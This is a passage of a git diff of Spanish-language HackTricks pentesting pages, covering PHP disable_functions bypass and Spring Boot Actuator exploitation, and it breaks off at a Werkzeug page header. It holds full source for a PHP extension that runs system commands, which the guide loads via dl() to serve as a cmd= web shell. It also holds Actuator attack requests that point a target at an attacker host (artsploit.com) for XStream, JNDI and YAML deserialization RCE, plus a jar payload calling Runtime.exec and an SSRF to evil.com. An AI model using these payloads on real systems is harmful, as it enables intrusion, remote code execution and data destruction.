+- Implementa la funcionalidad principal de la extensión personalizada.
+- **php_bypass.h**:
+- Archivo de encabezado que define las propiedades de la extensión.
+- **config.m4**:
+- Utilizado por `phpize` para configurar el entorno de compilación de la extensión personalizada.
-stream = php_stream_fopen_from_pipe(in, "rb");
-ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
-php_stream_close(stream);
+### Compilación de la extensión:
-if (ret && ZSTR_LEN(ret) > 0) {
-RETVAL_STR(ret);
-}
-}
-```
-Los archivos para la extensión separada terminan como se muestra a continuación:
+1. **Comandos de compilación:**
+- Utiliza `phpize`, `./configure` y `make` para compilar la extensión.
+- El `bypass.so` resultante se encuentra en el subdirectorio de módulos.
-{% code title="bypass.c" %}
-```c
-/*
-+----------------------------------------------------------------------+
-| Copyright (c) 1997-2003 The PHP Group |
-+----------------------------------------------------------------------+
-| This source file is subject to version 2.02 of the PHP license, |
-| that is bundled with this package in the file LICENSE, and is |
-| available at through the world-wide-web at |
-| http://www.php.net/license/2_02.txt. |
-| If you did not receive a copy of the PHP license and are unable to |
-| obtain it through the world-wide-web, please send a note to |
-| license@php.net so we can mail you a copy immediately. |
-+----------------------------------------------------------------------+
-*/
+2. **Limpieza:**
+- Ejecuta `make clean` y `phpize --clean` después de la compilación.
+
+### Subida y ejecución en el host víctima:
+
+1. **Compatibilidad de versiones:**
+- Asegura que las versiones de la API de PHP coincidan entre el sistema del atacante y el de la víctima.
+
+2. **Carga de la extensión:**
+- Utiliza la función `dl`, eludiendo las restricciones mediante el uso de rutas relativas o un script para automatizar el proceso.
+
+3. **Ejecución del script:**
+- El atacante sube `bypass.so` y un script de PHP al servidor de la víctima.
+- El script utiliza la función `dl_local` para cargar dinámicamente `bypass.so` y luego llama a `bypass_exec` con un comando pasado a través del parámetro de consulta `cmd`.
+
+### Ejecución de comandos:
+
+- El atacante ahora puede ejecutar comandos accediendo a: `http://www.ejemplo.com/script.php?cmd=`
-#ifdef HAVE_CONFIG_H
-#include "config.h"
-#endif
-
-#include "php.h"
-#include "php_bypass.h"
-
-static function_entry bypass_functions[] = {
-PHP_FE(bypass_exec, NULL)
-{NULL, NULL, NULL}
-};
-
-zend_module_entry bypass_module_entry = {
-#if ZEND_MODULE_API_NO >= 20010901
-STANDARD_MODULE_HEADER,
-#endif
-PHP_BYPASS_EXTNAME,
-bypass_functions,
-NULL,
-NULL,
-NULL,
-NULL,
-NULL,
-#if ZEND_MODULE_API_NO >= 20010901
-PHP_BYPASS_VERSION,
-#endif
-STANDARD_MODULE_PROPERTIES
-};
-
-#ifdef COMPILE_DL_BYPASS
-ZEND_GET_MODULE(bypass)
-#endif
+Esta detallada guía describe el proceso de creación e implementación de una extensión de PHP para ejecutar comandos del sistema, explotando la función `dl`, la cual idealmente debería estar deshabilitada para prevenir brechas de seguridad de este tipo.
-PHP_FUNCTION(bypass_exec){
-FILE *in;
-int readbytes, total_readbytes=0, allocated_space;
-pval **cmd;
-char *ret;
-
-if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
-WRONG_PARAM_COUNT;
-}
-
-convert_to_string_ex(cmd);
-#ifdef PHP_WIN32
-if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
-#else
-if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
-#endif
-php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
-RETURN_FALSE;
-}
-
-allocated_space = EXEC_INPUT_BUF;
-ret = (char *) emalloc(allocated_space);
-
-while (1) {
-readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
-if (readbytes<=0) {
-break;
-}
-
-total_readbytes += readbytes;
-allocated_space = total_readbytes+EXEC_INPUT_BUF;
-ret = (char *) erealloc(ret, allocated_space);
-}
-
-pclose(in);
-
-RETVAL_STRINGL(ret, total_readbytes, 0);
-Z_STRVAL_P(return_value)[total_readbytes] = '\';
-}
-```
-```markdown
-{% endcode %}
-
-{% code title="php_bypass.h" %}
-```
-```c
-#ifndef PHP_BYPASS_H
-#define PHP_BYPASS_H 1
-
-#define PHP_BYPASS_VERSION "1.0"
-#define PHP_BYPASS_EXTNAME "bypass"
-
-PHP_FUNCTION(bypass_exec);
-
-extern zend_module_entry bypass_module_entry;
-#define phpext_bypass_ptr &bypass_module_entry
-
-#endif
-```
-```markdown
-{% endcode %}
-
-{% code title="config.m4" %}
-```
-```bash
-PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
-
-if test "$PHP_BYPASS" = "yes"; then
-AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
-PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
-fi
-```
-{% endcode %}
-
-Una vez creados los archivos, es hora de compilar la extensión de PHP.
-```
-phpize
-./configure
-make
-```
-Una vez hecho esto, la extensión compilada se ubicará en el subdirectorio de módulos con el nombre de archivo bypass.so.
-El archivo se copia en un lugar seguro, ahora se ejecutan los siguientes comandos para limpiar los archivos recién creados.
-```
-make clean
-phpize --clean
-```
-Ahora el atacante sube la extensión recién creada al host víctima.
-
-(NOTA: Las versiones principales de PHP utilizan diferentes versiones de la API, para que puedas compilar la extensión en un host y subirla a otro, las versiones de la API deben coincidir. Por eso inicialmente se instaló la misma versión de PHP en la máquina del atacante.)
-
-Para cargar una extensión con la función dl, la extensión necesita estar en el directorio de extensiones que está definido por la directiva extension_dir.
-Esto puede ser un problema ya que es menos probable que el atacante tenga permisos de escritura en este directorio, sin embargo, hay una manera de sortear esto.
-Este problema ha sido discutido por desarrolladores en la página de la función dl dentro de la sección de notas.
-
-El concepto que se discutió es usar una ruta relativa desde el directorio de extensiones definido.
-Por ejemplo, si el directorio de extensiones se estableció en /usr/php/extensions y te gustaría cargar bypass.so en el directorio web actual /home/example.com/html, harías lo siguiente:
-```php
-
-```
-Este método permite evitar la necesidad de tener la extensión en el directorio de extensiones definido.
-
-También hay una manera automatizada para que no tengas que cambiar la ruta relativa para diferentes hosts, este código fue creado por endofyourself \[at] yahoo \[dot] com y mejorado posteriormente por mag\_2000 \[at] front \[dot] ru
-
-Había un pequeño problema con la función, en algunos hosts el directorio de extensiones está establecido en "./" y esta función no tomaba en cuenta si el directorio de extensiones estaba configurado con una ruta relativa, la solución para esto es usar la función realpath.
-
-El script final utilizado para cargar la extensión y ejecutar comandos del sistema para eludir las funciones deshabilitadas es el siguiente:
-```php
-'.$output.'';
-}
-?>
-```
-Todo lo que el atacante tiene que hacer ahora para ejecutar comandos es llamar a la URL del script junto con una variable cmd con el comando deseado.
-```
-http://www.example.com/script.php?cmd=ls
-```
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-web/spring-actuators.md b/network-services-pentesting/pentesting-web/spring-actuators.md
index 95eddf412..ddf0707f0 100644
--- a/network-services-pentesting/pentesting-web/spring-actuators.md
+++ b/network-services-pentesting/pentesting-web/spring-actuators.md
@@ -1,83 +1,48 @@
-# Spring Actuators
+# Actuadores de Spring
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## **Bypass de Autenticación en Spring**
+## **Bypass de Autenticación de Spring**
-**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
+**Desde** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
-## Explotando Actuadores de Spring Boot
+## Explotando los Actuadores de Spring Boot
-**copiado de** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
+**Consulta la publicación original en** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
-El Framework de Spring Boot incluye una serie de características llamadas actuadores para ayudarte a monitorear y gestionar tu aplicación web cuando la despliegas en producción. Destinados a ser utilizados para auditoría, salud y recolección de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados.
+### **Puntos Clave:**
-Cuando una aplicación de Spring Boot está en ejecución, registra automáticamente varios endpoints (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, causando problemas significativos de seguridad. A partir de la versión 1.5 de Spring, todos los endpoints, excepto '/health' y '/info', se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es desactivada por los desarrolladores de aplicaciones.
+- Los Actuadores de Spring Boot registran puntos finales como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos puntos finales son accesibles sin autenticación. A partir de la versión 1.5 en adelante, solo `/health` y `/info` no son sensibles por defecto, pero los desarrolladores a menudo deshabilitan esta seguridad.
+- Algunos puntos finales de Actuadores pueden exponer datos sensibles o permitir acciones dañinas:
+- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` y `/heapdump`.
+- En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, se encuentran bajo la ruta base `/actuator/`.
-Los siguientes endpoints de Actuator podrían tener implicaciones de seguridad que conducen a posibles vulnerabilidades:
+### **Técnicas de Explotación:**
-* /dump - muestra un volcado de hilos (incluyendo un rastreo de pila)
-* /trace - muestra los últimos mensajes HTTP (que podrían incluir identificadores de sesión)
-* /logfile - muestra el contenido del archivo de registro
-* /shutdown - apaga la aplicación
-* /mappings - muestra todas las asignaciones de controladores MVC
-* /env - proporciona acceso al entorno de configuración
-* /actuator/env
-* /restart - reinicia la aplicación
-* /heapdump - Construye y devuelve un volcado de montón de la JVM utilizada por nuestra aplicación
+1. **Ejecución Remota de Código a través de '/jolokia'**:
+- El punto final del actuador `/jolokia` expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans.
+- La acción `reloadByURL` puede ser explotada para recargar configuraciones de registro desde una URL externa, lo que puede llevar a XXE ciego o Ejecución Remota de Código a través de configuraciones XML manipuladas.
+- URL de explotación de ejemplo: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
-Para Spring 1x, están registrados bajo la URL raíz, y en 2x se trasladaron a la base de ruta "/actuator/".
+2. **Modificación de Configuración a través de '/env'**:
+- Si están presentes las Bibliotecas de Spring Cloud, el punto final `/env` permite la modificación de propiedades ambientales.
+- Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización XStream en la URL de servicio Eureka.
+- Ejemplo de solicitud POST de explotación:
-**Explotación:**
-
-La mayoría de los actuadores solo admiten solicitudes GET y simplemente revelan datos de configuración sensibles, pero varios de ellos son particularmente interesantes para los cazadores de shells:
-
-**1. Ejecución de Código Remoto vía '/jolokia'**
-
-Si la Biblioteca Jolokia está en la classpath de la aplicación objetivo, se expone automáticamente por Spring Boot bajo el endpoint del actuador '/jolokia'. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que puedes realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:
-
-[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
-
-De nuevo, la mayoría de las acciones de MBeans solo revelan algunos datos del sistema, pero una es particularmente interesante:
-
-![reloadByURL](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_jolokia.png)
-
-La acción '**reloadByURL**', proporcionada por la biblioteca Logback, nos permite recargar la configuración de registro desde una URL externa. Se podría activar simplemente navegando a:[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
-
-Entonces, ¿por qué debería importarnos la configuración de registro? Principalmente por dos cosas:
-
-1. La configuración tiene un formato XML, y por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo que es vulnerable a XXE ciego.
-2. La configuración de Logback tiene la característica ['Obtención de variables de JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). En el archivo XML, podemos incluir una etiqueta como '**\**' y el atributo name se pasará al método DirContext.lookup(). Si podemos suministrar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una completa **Ejecución de Código Remoto**.
-
-**Cómo funciona:**
-
-1\. Un atacante solicita la URL mencionada para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.
-
-2\. La función 'reloadByURL' descarga una nueva configuración de [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:
-```
-
-
-
-```
-3\. Cuando este archivo se analiza en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Reference' para desencadenar una **ejecución del bytecode suministrado** en la aplicación objetivo. Los ataques JNDI están bien explicados en este [documento de investigación de MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). La [nueva técnica de explotación de JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Spring Boot Framework.
-
-**2. Modificación de configuración vía '/env'**
-
-Si las bibliotecas de Spring Cloud están en el classpath, el endpoint **'/env'** te permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '**@ConfigurationProperties**' pueden ser modificados y reasociados. Muchas, aunque no todas, las propiedades que podemos controlar están listadas en el endpoint del actuator '/configprops'. De hecho, hay toneladas de ellas, pero no está absolutamente claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas encontramos esto:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
@@ -86,173 +51,41 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
-Esta propiedad modifica la URL del servicio Eureka a un valor arbitrario. El servidor Eureka normalmente se utiliza como servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente está incluido en Spring Cloud Netflix), puedes explotar la **vulnerabilidad de deserialización XStream** en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' a la URL de tu servidor ( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) a través de '/env' y luego llamar al endpoint '/refresh'. Después de eso, tu servidor debería servir la carga útil de XStream con el siguiente contenido:
-```markup
-
-
-
-
-
-
-
-
-
-
-
-
-/Applications/Calculator.app/Contents/MacOS/Calculator
-
-false
-
-
-
-
-java.lang.ProcessBuilder
-start
-
-
-foo
-
-foo
-
-
-
-
-
-
-
-
-
-
-
-```
-Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO JDK-only del [investigación de Marshalsec](https://github.com/mbechler/marshalsec). La única diferencia aquí es el uso de **LinkedHashSet** para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original utiliza java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un [convertidor personalizado para mapas](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) que lo hace inutilizable. El payload anterior no utiliza Maps en absoluto y se puede utilizar para lograr Ejecución de Código Remoto sin restricciones adicionales.
-Utilizando Spring Actuators, puedes explotar esta vulnerabilidad incluso si no tienes acceso a un servidor Eureka interno; solo necesitas un punto final "/env" disponible.
+3. **Otros Ajustes Útiles**:
+- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` y `spring.datasource.tomcat.max-active` pueden ser manipuladas para varios exploits, como la inyección SQL o la alteración de cadenas de conexión de bases de datos.
-**Otras configuraciones útiles:**
+### **Información Adicional:**
-**spring.datasource.tomcat.validationQuery=drop+table+users** - te permite especificar cualquier consulta SQL, y se ejecutará automáticamente contra la base de datos actual. Podría ser cualquier declaración, incluyendo insert, update o delete.
+- Se puede encontrar una lista completa de actuadores predeterminados [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
+- El punto final `/env` en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.
-![Explotando Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
+### **Temas Relacionados:**
-**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - te permite modificar la cadena de conexión JDBC actual.
+1. **RCE de Env + H2**:
+- Detalles sobre cómo explotar la combinación del punto final `/env` y la base de datos H2 se pueden encontrar [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
-La última parece excelente, pero el problema es cuando la aplicación que ejecuta la conexión a la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso:
+2. **SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta**:
+- El manejo de parámetros de matriz (`;`) en nombres de ruta HTTP del framework Spring puede ser explotado para la falsificación de solicitudes del lado del servidor (SSRF).
+- Ejemplo de solicitud de explotación:
-**spring.datasource.tomcat.max-active**=777
-
-El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después de eso enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo la carga, la aplicación creará una nueva conexión a la base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente contra Mysql y funciona de maravilla.
-
-![Explotando Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
-
-Aparte de eso, hay otras propiedades que parecen interesantes, pero, en la práctica, no son realmente útiles:
-
-**spring.datasource.url** - cadena de conexión a la base de datos (utilizada solo para la primera conexión)
-
-**spring.datasource.jndiName** - cadena JNDI de bases de datos (utilizada solo para la primera conexión)
-
-**spring.datasource.tomcat.dataSourceJNDI** - cadena JNDI de bases de datos (no utilizada en absoluto)
-
-**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - URL de configuración de spring cloud (no tiene ningún efecto después del inicio de la app, solo se utilizan los valores iniciales.)
-
-Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todos los ApplicationContext pero está deshabilitado por defecto.
-
-Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen efecto inmediato después del cambio.
-
-**N.B.** En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (utiliza formato json), pero la idea es la misma.
-
-**Un ejemplo de la aplicación vulnerable:**
-
-Si quieres probar esta vulnerabilidad localmente, he creado una [aplicación simple de Spring Boot en mi página de Github](https://github.com/artsploit/actuator-testbed). Todos los payloads deberían funcionar allí, excepto por la configuración de la base de datos (a menos que la configures).
-
-**Descubrimiento de caja negra:**
-
-Una lista completa de actuadores predeterminados se puede encontrar aquí: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.
-
-**Actualización mayo de 2019:**
-
-Hay una forma más confiable de lograr RCE a través de una modificación de las propiedades ambientales de Spring:
-```
-POST /env HTTP/1.1
-Host: 127.0.0.1:8090
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 59
-
-spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
-```
-Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', que se utiliza para cargar la configuración externa y analizarla en formato YAML. Para que esto suceda, también necesitamos llamar al endpoint '/refresh'.
-```
-POST /refresh HTTP/1.1
-Host: 127.0.0.1:8090
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 0
-```
-Cuando la configuración YAML se obtiene del servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. El payload (yaml-payload.yml) puede generarse utilizando la investigación de Marshalsec mencionada anteriormente:
-```
-!!javax.script.ScriptEngineManager [
-!!java.net.URLClassLoader [[
-!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
-]]
-]
-```
-La deserialización de este archivo desencadena la ejecución del constructor de 'ScriptEngineManager' con el 'URLClassLoader' suministrado. En resumen, conduce al método **'java.util.ServiceLoader#load(java.lang.Class\, java.lang.ClassLoader)'**, que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de 'URLClassLoader', podemos servir un nuevo 'ScriptEngineFactory' con el bytecode malicioso dentro. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) debe contener el bytecode actual, con el payload malicioso en el constructor.
-```
-public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
-
-public AwesomeScriptEngineFactory() {
-try {
-Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
-Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
-} catch (IOException e) {
-e.printStackTrace();
-}
-}
-```
-```markdown
-[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) debe ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que el ServiceLoader sepa dónde encontrar la clase: **artsploit.AwesomeScriptEngineFactory** Nuevamente, esta técnica de explotación requiere que spring cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puedes encontrar el payload completo en mi proyecto de github: [yaml-payload](https://github.com/artsploit/yaml-payload).
-
-## Env + H2 RCE
-
-Consulta esta página para saber cómo explotar la combinación /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
-
-## SSRF en Spring Boot a través de la interpretación incorrecta del nombre de ruta
-
-[**De esta investigación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): El framework de Spring acepta el carácter separador de parámetros de matriz `;` antes de la primera barra del nombre de ruta HTTP:
-```
-```http
-GET ;1337/api/v1/me HTTP/1.1
-Host: target.com
-Connection: close
-```
-En un escenario como el siguiente:
-
-
-
-Teniendo en cuenta que Spring permite cualquier carácter después del separador de parámetros Matrix, también es posible utilizar el carácter `@` para obtener un endpoint arbitrario.
-
-A continuación se muestra un ejemplo de la solicitud de exploit:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
-## Más Información
-* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
-* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
-* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
-Aprende AWS hacking de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md
index a46eb6fc2..2ac5a12c4 100644
--- a/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/network-services-pentesting/pentesting-web/werkzeug.md
@@ -1,28 +1,28 @@
-# Werkzeug / Flask Debug
